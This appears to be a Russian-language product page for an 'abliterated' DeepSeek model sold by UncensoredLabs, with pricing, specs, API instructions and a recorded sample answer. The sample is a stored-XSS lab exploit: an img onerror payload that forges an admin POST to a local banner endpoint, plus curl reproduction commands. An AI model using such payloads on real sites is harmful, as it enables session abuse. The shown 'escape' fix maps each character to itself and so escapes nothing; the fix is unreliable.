Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash 1017 Abliterated
deepseek-v4.1-flash-1017-abliterated Выбор для чата. Редакционная рекомендация, а не рейтинг по тестам.
Доступно в браузерном чате и через OpenAI-совместимый API.
Цены токенов
Цены в USD за 1 миллион токенов
- Ввод / 1M
- 0,300 $
- Кеш / 1M
- 0,120 $
- Вывод / 1M
- 0,300 $
Характеристики модели
DeepSeek · с удалёнными ограничениями
- Контекстное окно
- 1 000 000 токены
- Максимальный вывод
- 65 536 токены
- Возможности
- Текст · Потоковая передача · Вызовы инструментов
Измеренная производительность
- Среднее токенов/с
- 62,7
- Оценка TTFT
- ≈ 5,3 s
- Индикатор доступности
- 99,9%
Обновлено 01.11.2026, 20:28:37 UTC · Успешность провайдера за 24 ч · Прочерк означает, что актуальных измерений недостаточно.
Посмотрите ответ модели
Реальный ответ на вопрос о хранимой XSS для локальной лаборатории. Запрос и ответ на английском. Вывод показан как текст; код здесь не выполняется.
DeepSeek V4.1 Flash 1017 Abliterated
Записанный ответ модели · 28 окт. 2026 г., 19:09 UTC
Выбранный фрагмент записанного ответа. Некоторые части опущены.
## Reproduce
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin # fake admin session
node bot.js # prints: OWNED IN THE LABThe <img onerror> slips past the <script> regex; the handler runs same-origin, so the browser attaches sid=admin and the POST is authorized.
## Fix (safe rendering)
const esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&','<':'<','>':'>','"':'"' }[c]));
// ... <p>${esc(c)}</p>Записанный пример, не живой чат.Открыть чат
Используйте модель через API
Создайте API-ключ и пополните баланс. Задайте UNCENSOREDLABS_API_KEY в окружении. Для JavaScript или Python установите пакет openai.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-1017-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Совместимо с OpenAI. Измените базовый URL.Прочитать быстрый старт
Ограничения и оплата
- Отсутствие фильтров не гарантирует ответ на любой запрос. Ответ может быть неверным, неполным, либо модель может отказать.
- Максимум вывода — лимит сервиса UncensoredLabs. Длинные ответы и полное окно контекста не проходили нагрузочные измерения.
- Кредиты резервируются под запрошенный вывод и консервативный лимит ввода; для моделей без проверенного учёта по размеру запроса используется полное окно контекста. Итоговый платёж основан на подтверждённом использовании; неопределённые запросы могут сохранять резерв.
- Лимит времени — десять минут. Действуют ограничения частоты, параллельности и доступность провайдера; ошибки API включают 429 с Retry-After.
- UncensoredLabs не хранит запросы и ответы на своих серверах. Применяется политика хранения провайдера инференса.